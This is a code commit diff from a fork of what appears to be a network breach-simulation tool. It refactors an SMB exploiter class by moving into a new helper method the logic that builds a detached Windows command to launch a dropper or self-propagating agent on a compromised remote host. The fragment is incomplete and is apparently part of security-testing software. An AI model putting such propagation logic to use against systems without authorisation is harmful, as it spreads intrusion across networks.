forked from p15670423/monkey
Agent: Extract method _get_agent_command
This commit is contained in:
parent
156300e8ed
commit
2d130a0442
|
@ -56,18 +56,7 @@ class SMBExploiter(HostExploiter):
|
|||
return self.exploit_result
|
||||
|
||||
# execute the remote dropper in case the path isn't final
|
||||
if remote_full_path.lower() != str(dest_path).lower():
|
||||
cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % {
|
||||
"dropper_path": remote_full_path
|
||||
} + build_monkey_commandline(
|
||||
self.servers,
|
||||
self.current_depth + 1,
|
||||
str(dest_path),
|
||||
)
|
||||
else:
|
||||
cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {
|
||||
"monkey_path": remote_full_path
|
||||
} + build_monkey_commandline(self.servers, self.current_depth + 1)
|
||||
cmdline = self._get_agent_command(remote_full_path, dest_path)
|
||||
|
||||
smb_conn = None
|
||||
for str_bind_format, port in SMBExploiter.KNOWN_PROTOCOLS.values():
|
||||
|
@ -206,3 +195,19 @@ class SMBExploiter(HostExploiter):
|
|||
continue
|
||||
|
||||
return remote_full_path, SelectedCredentials(user, password, lm_hash, ntlm_hash)
|
||||
|
||||
def _get_agent_command(self, remote_full_path: str, dest_path: PurePath) -> str:
|
||||
if remote_full_path.lower() != str(dest_path).lower():
|
||||
cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % {
|
||||
"dropper_path": remote_full_path
|
||||
} + build_monkey_commandline(
|
||||
self.servers,
|
||||
self.current_depth + 1,
|
||||
str(dest_path),
|
||||
)
|
||||
else:
|
||||
cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {
|
||||
"monkey_path": remote_full_path
|
||||
} + build_monkey_commandline(self.servers, self.current_depth + 1)
|
||||
|
||||
return cmdline
|
||||
|
|
Loading…
Reference in New Issue